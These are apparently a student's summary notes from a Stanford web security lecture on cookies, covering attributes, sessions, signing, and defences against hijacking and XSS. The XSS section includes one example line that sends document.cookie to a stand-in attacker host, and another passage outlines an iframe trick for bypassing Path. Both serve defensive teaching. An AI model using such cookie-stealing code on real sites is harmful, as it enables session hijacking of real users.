CS253 Lecture Summaries: Part III: Cookies
Part of Web Security - Stanford CS 253
Cookies
TL;DR set your cookie like this:
Set-Cookie: key=value; Secure; HttpOnly; Path=/; SameSite=Lax; Expires=Fri, 1 Nov 2022 00:00:00 GMT
Where the date is c. 30 days in the future.
Now for the rest…
Implemented in 1994 in Netscape, described in a 4 page draft.
No spec for 17 years. People kept trying to do more than describe reality, didn’t just try to normalize current behaviour.
Around 2011 an attempt finally succeeded (RFC 6265), now the browsers actually follow this.
Security models for cookies is actually different from the rest of the web as we’ll see later.
Server sets a cookie on the client:
Set-Cookie: theme=dark
Note the way to clear a cookie is just to set an expiry date in the past, there’s no other method to ‘clear’ a cookie.
Cookie Attributes
Expires Specifies expiration date, if no date, then lasts for browser session. In practice browsers save extra session info beyond the web spec. Browsers will save cookies beyond session too, so clear it explicitly. Sites can set Expires
to a very far future date, but it’s not good practice, just re-set it on a future visit.
Path Scope the Cookie
header to a particular path prefix. eg Path=/docs
will match /docs
and /docs/Web
. The Path idea is broken for security.
Domain Allows the cookie to be scoped to a domain broader than the domain that returned the Set-Cookie
header. eg login.stanford.edu
could set a cookie for stanford.edu
. Otherwise they’re scoped to subdomain by default.
Set like this:
Set-Cookie: theme=dark; Expires=<date>;
Sessions
Cookies are used by the server to implement sesssions. The goal: keep a set of data related to the user’s current browsing session. EG logins, shopping carts, user tracking.
The idea behind this is ambient authority - access control based on a global and persistent property of the requester. The alternative is explicit authorization valid only for a specific action
There are four types of ambient authority on the web:
Cookies - most common, versatile method.
IP Checking - used eg for access within a network.
Built-in HTTP authentication - rarely used. It produces a weird pop up in the browser on the user end, so didn’t get used.
Client certificates - rarely used.
Signing Cookies
Let’s say we were setting a cookie to indicate a user logged in and the value was just the username. Then anyone could just set their cookie to that username and be logged in from the server’s perspective.
Slightly more secure is to sign the cookie.
In signing we have three algorithms (G,S,V)
. G
is the generator, S
is the signer, V
is the verifier.
G() -> (pk, sk)
generator returns public key and secret key.
S(sk, x) -> t
signing returns a tag t
for input x
. The tag will be a string, that can be used to verify that x
has not been changed.
V(pk, x, t) -> accept|reject
checks validity of tag t
for input x
.
We want two things from a signature scheme:
Correctness property - V(pk, x, S(sk, x)) = accept
should always be true.
Security property - V(pk, x, t) = accept
should almost never be true when x
and t
are chosen by the attacker.
How will this be used in cookies?
The server will call G()
, get the pk and sk.
Client will log in. Server validates login, and then sign the username with the secret key. It then sets both cookies:
Set-Cookie: username=alice;
Set-Cookie: tag=t
Then the browser sends the request with the cookies. The server can run the username and tag through the verification algorith to check that the username is valid and the tag is correct.
The express implementation of this doesn’t actually set two cookies, it just sets a single cookie with the value and signature in one string.
But there’s still a problem, malware could grab my signed cookie and still log in. If it’s a set signature scheme they could be me forever.
Signing is useful if you want to guarantee a value (like a discount you’ve offered), but not really here.
Here’s another approach.
We could, when a user logs in, allocate a unique session id - a GUID say, and remember that value. Then we can recognize the user for as long as we want to keep the user logged in. If they log out, or we want to expire the session, we kill the session id.
Here’s one way to do it in Node using the node crypto
module’s randomBytes
method:
const sessionId = randomBytes(16).toString('base64')
Now it’s not possible to guess another user’s name or session id and access their account.
Cookies in JavaScript
document.cookie = 'name=Alex'
// does not overwrite! adds a new cookie
document.cookie = 'favouriteFood=Cookies; Path=/'
document.cookie
// returns both cookies
//API to clear a cookie from JS!
document.cookie = 'name=; Expires=Thu, 01 Jan 1970 00:00:00 GMT'
Attacks:
Session hijacking Attacker steals a cookie to impersonate them.
Sending cookies over HTTP is a very bad idea, if anyone sees the cookie they can use it to hijack the user’s session. Attacker sends victim’s cookie and server is fooled.
It used to be common to just put HTTPS on their login so you couldn’t see the password, but then the rest would be http, so the session id was in plain text. That’s not common any more.
Defence to session hijacking:
Use the Secure cookie attribute to prevent cookie from being sent over unencrypted HTTP connections:
Set-Cookie: key=value; Secure
Then the cookie will never be sent over HTTP. Better to use HTTPS everywhere.
Cross Site Scripting
If the site is vulnerable to XSS then the attacker can insert their script on the page, and get the cookie via JS.
eg new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie
This sends a request back to the attacker’s server with the cookie string.
Defence to XSS:
Use the HttpOnly attribute to prevent the cookie beign read from JS:
Set-Cookie: key=value; Secure; HttpOnly
Now the JS can’t see the cookie, it’s only sent via http.
Cookie Path
bypass
Do not use Path
for security
Path
does not protect against unauthorized reading of the cookie from a different path on the same origin.
Can be bypassed using an <iframe>
with the path of the cookie.
Then read iframe.contentDocument.cookie
Allowed by Same Origin Policy if you’re on the same domain, so only use Path
for performance optimization.
Always unsafe to rely on Path, cookies can only be accessed by equal or more specific domains, so use a subdomain. ie stanford.edu
cannot access cs253.stanford.edu
but the subdomain can access the domain.
The default value for Path if you don’t set it is the path that you’re currently on, watch out for that, you may want to set path to ‘/'.
So a default ‘secure’ cookie might look like this:
Set-Cookie: key=value; Secure; HttpOnly; Path=/
why better than omitting Path
? Because it’s explicitly accessible on the whole site, no surprises.
How long should cookies last? Use a reasonable date - 30-90 days. You can set the cookie with each response to restart the 30 day counter, so users aren’t logged out even with the shorter timeframe.